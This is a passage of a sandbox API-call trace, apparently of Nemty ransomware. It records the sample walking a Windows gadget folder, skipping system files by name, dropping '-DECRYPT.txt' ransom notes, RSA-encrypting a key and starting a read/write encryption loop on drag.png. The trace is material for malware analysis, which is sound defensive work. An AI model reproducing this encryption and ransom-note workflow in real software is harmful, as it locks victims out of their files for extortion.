ftLastWriteTime.dwLowDateTime=0x8c590d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0146.200] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0146.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0146.200] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="...") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="windows") returned -1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="rsa") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="NTDETECT.COM") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ntldr") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="MSDOS.SYS") returned 1 [0146.201] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="IO.SYS") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="boot.ini") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="boot.ini") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ntuser.dat") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="desktop.ini") returned 1 [0146.203] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="CONFIG.SYS") returned 1 [0146.204] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="RECYCLER") returned 1 [0146.204] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0146.204] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="bootmgr") returned 1 [0146.204] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="programdata") returned 1 [0146.204] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="appdata") returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0146.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SlideShow.Gadget", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SlideShow.Gadget", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SlideShow.Gadget", lpUsedDefaultChar=0x0) returned 16 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0146.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SlideShow.Gadget", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SlideShow.Gadget", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SlideShow.Gadget", lpUsedDefaultChar=0x0) returned 16 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0146.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0146.204] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0146.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.207] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.208] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0146.208] CloseHandle (hObject=0x1e8) returned 1 [0146.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0146.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0146.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0146.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.209] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0146.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0146.210] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.210] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0146.211] CloseHandle (hObject=0x1e8) returned 1 [0146.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0146.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0146.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0146.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaca1b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xaca1b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0146.211] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0146.211] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaca1b30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xaca1b30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0146.211] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0146.211] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0146.211] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d3f607d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7575, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0146.211] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0146.212] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0146.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0146.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0146.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0146.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0146.212] Sleep (dwMilliseconds=0x5) [0146.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xacc7c90, dwHighDateTime=0x1d561e8)) [0146.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xacc7c90, dwHighDateTime=0x1d561e8)) [0146.217] GetLastError () returned 0xb7 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0146.217] GetLastError () returned 0xb7 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0146.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0146.217] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0146.217] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0146.217] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0146.217] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="93sWqKqnjY3zmJLLbSrdG8zpwotmwnNVYPuXTbSxRBos7ep0WSKVvZwIMnbpXc8N\r\nqHAqHNxFPmtPLd4XNY7fq87bgKZymd6wuobSZBX93NXI5/YiQMLMhbnlIlR1adT1\r\n/u1iYO4zhsTAVItJLhjHvtJ5cNOlfqcLz+wUHcnNFSegiFLGL5E6XpaOss43nEG4\r\nkGm6H4AHyOW5LxoaeT95I+use5DcHCgzPqhvYfN6F9j+KnuKBgRxBF4iynfzKyS4\r\nZJ/pIJZe1PzK+/N92S9skV5JxIQJcSs5RMJC/AZpwJFpjj09T0YAmB3XaOM/674e\r\nK3YQsr82RLa923zPVY3APw==\r\n", pcchString=0x653ec5c) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0146.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0146.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0146.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0146.217] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.218] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0146.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0146.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0146.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0146.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0146.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 